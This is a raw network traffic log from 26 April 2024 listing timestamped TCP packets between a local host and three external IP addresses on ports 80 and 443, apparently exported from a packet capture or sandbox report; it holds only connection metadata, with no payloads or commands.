Apr 26, 2024 11:06:09.797934055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.797943115 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797974110 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.797982931 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798054934 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798094988 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798139095 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798213959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798352957 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798366070 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798404932 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798418045 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798461914 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798480034 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798521996 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798552990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798582077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798594952 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798640013 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798649073 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798693895 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798757076 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798800945 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798849106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798851013 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798917055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.798942089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798968077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.798971891 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799015045 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799019098 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799093962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799141884 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799160004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799221992 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799269915 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799307108 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799377918 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799395084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799423933 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799431086 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799495935 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799499989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799540043 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799565077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799607992 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799633980 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799664021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799705982 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799730062 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799773932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799774885 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799819946 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799859047 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799891949 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.799901962 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.799966097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800009966 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800013065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800055981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800061941 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800093889 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800131083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800174952 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800189018 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800232887 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800246954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800287008 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800288916 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800332069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800404072 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800451040 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.800487995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.800595999 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.969310999 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969331980 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969367981 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969378948 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969414949 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969415903 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969428062 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969492912 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969506025 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969531059 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969571114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969578028 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969686031 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969700098 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969722986 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969727993 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969748974 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969772100 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969780922 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969818115 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969827890 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969856024 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969865084 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969899893 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969928980 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969950914 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.969973087 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.969995022 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.970024109 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.970060110 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.970082998 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.970104933 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.970117092 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.970165968 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.970165968 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.970206976 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.970237970 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.970283031 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.054183960 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054198980 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054212093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054224968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054238081 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054239035 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054264069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054280043 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054292917 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054302931 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054306984 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054321051 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054323912 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054333925 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054347992 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054354906 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054361105 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054378986 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054380894 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054403067 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054410934 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054419994 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054425001 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054445028 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054451942 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054461002 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054469109 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054475069 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054486990 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054487944 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054497957 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054507017 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054518938 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054521084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054531097 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054533005 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054546118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054550886 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054564953 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054569960 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054584026 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054596901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054600954 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054608107 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054619074 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054622889 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054636955 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054646015 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054649115 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054672003 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054673910 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054688931 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054694891 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054702997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054716110 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054714918 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054732084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054737091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054750919 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054760933 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054769039 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054775000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054780006 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054799080 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054800034 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054814100 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054826021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054836988 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054837942 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054852962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.054863930 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054879904 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054907084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.054924011 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055016041 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055046082 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055047035 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055063963 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055084944 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055121899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055248022 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055284023 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055320978 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055361032 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055375099 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055413008 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055435896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055455923 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055493116 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055530071 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055572987 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055619001 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055660009 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055661917 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055701971 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055742979 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055814981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055855989 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.055887938 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.055929899 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056039095 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056085110 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056087971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056126118 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056154013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056176901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056197882 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056210995 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056241989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056344986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056384087 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056396961 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056441069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.056472063 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.056658030 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.104949951 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:10.105037928 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:10.108642101 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:10.108666897 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:10.109127998 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:10.110435009 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:10.152139902 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:10.210938931 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.210968971 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.210998058 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.210997105 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211025953 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211034060 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211035967 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211066961 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211291075 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211303949 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211344004 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211363077 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211451054 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211462975 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211474895 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211474895 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211484909 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211498976 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211505890 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211512089 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211529016 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211534023 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211558104 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211585999 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211615086 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211621046 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211636066 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211647034 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211659908 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211672068 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211672068 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211689949 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211700916 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211704016 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211765051 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211781979 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211795092 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211802959 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211812019 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211823940 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211828947 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211852074 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211857080 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211879015 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211888075 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211910009 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211915970 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211932898 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211934090 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211947918 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.211970091 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.211992979 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212004900 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212007046 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212033033 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212033987 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212044001 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212061882 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212064028 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212079048 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212095976 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212105989 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212119102 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212136030 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212136030 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212148905 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212177992 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212184906 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212192059 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212197065 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.212227106 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.212244987 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.321300983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321353912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321427107 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321424007 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.321476936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321520090 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321521044 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.321532965 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321640968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321680069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.321707964 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321774006 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.321778059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321809053 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.321861029 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.321984053 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322033882 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322079897 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322109938 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322139025 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322177887 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322181940 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322266102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322309971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322324991 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322406054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322443962 CEST	80	49713	176.97.76.106	192.168.2.5
